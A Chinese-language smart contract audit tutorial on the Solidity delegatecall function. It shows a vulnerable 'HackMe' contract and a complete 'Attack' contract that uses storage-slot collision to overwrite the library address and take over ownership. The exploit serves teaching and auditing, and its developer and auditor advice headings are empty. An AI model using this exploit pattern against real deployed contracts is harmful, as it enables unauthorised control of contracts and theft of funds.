上篇文章中我们了解了什么是 delegatecall 函数以及一个基础的漏洞,这篇文章的目的是加深一下大家对 delegatecall 的印象并带大家一起去玩点刺激的,拿下一个进阶版的漏洞合约。
By:小白@慢雾安全团队
上篇文章中我们了解了什么是 delegatecall 函数以及一个基础的漏洞,这篇文章的目的是加深一下大家对 delegatecall 的印象并带大家一起去玩点刺激的,拿下一个进阶版的漏洞合约。
这里就不再重复之前的基础知识了,不了解或者遗忘的可以再看看上一篇文章:《智能合约安全审计入门篇 —— delegatecall (1)》。
contract Lib {
uint public someNumber;
function doSomething(uint _num) public {
someNumber = _num;
}
}
contract HackMe {
address public lib;
address public owner;
uint public someNumber;
constructor(address _lib) {
lib = _lib;
owner = msg.sender;
}
function doSomething(uint _num) public {
lib.delegatecall(abi.encodeWithSignature("doSomething(uint256)", _num));
}
}
这次的攻击目标依然是获得 HackMe 合约中的 owner 权限,我们可以看到两个合约中除了 HackMe 合约中的构造函数可以修改合约的 owner 其他地方并没有修改 owner 的函数。我们要如何完成攻击呢?这里需要一点小技巧,大家可以思考一下,刚好也可以验证一下自己对于之前知识的掌握程度以及自己的思维是否活跃。
是否有想法呢?没有想法也没关系,我们一起来看攻击是如何完成的:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
contract Attack {
// Make sure the storage layout is the same as HackMe
// This will allow us to correctly update the state variables
address public lib;
address public owner;
uint public someNumber;
HackMe public hackMe;
constructor(HackMe _hackMe) {
hackMe = HackMe(_hackMe);
}
function attack() public {
// override address of lib
hackMe.doSomething(uint(uint160(address(this))));
// pass any number as input, the function doSomething() below will
// be called
hackMe.doSomething(1);
}
// function signature must match HackMe.doSomething()
function doSomething(uint _num) public {
owner = msg.sender;
}
}
我们先看攻击流程:
咋回事儿呢?其实这个攻击方式就是很巧妙的运用了 delegatecall 这个函数修改 storage 类型变量时的特征:delegatecall 函数的执行环境是调用者的环境并且对于 storage 类型变量的修改是根据被调用合约变量存储的插槽位置来修改的。
作为开发者
作为审计者
注:本文参考于《Solidity by Example》
参考链接:
https://solidity-by-example.org/hacks/delegatecall
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!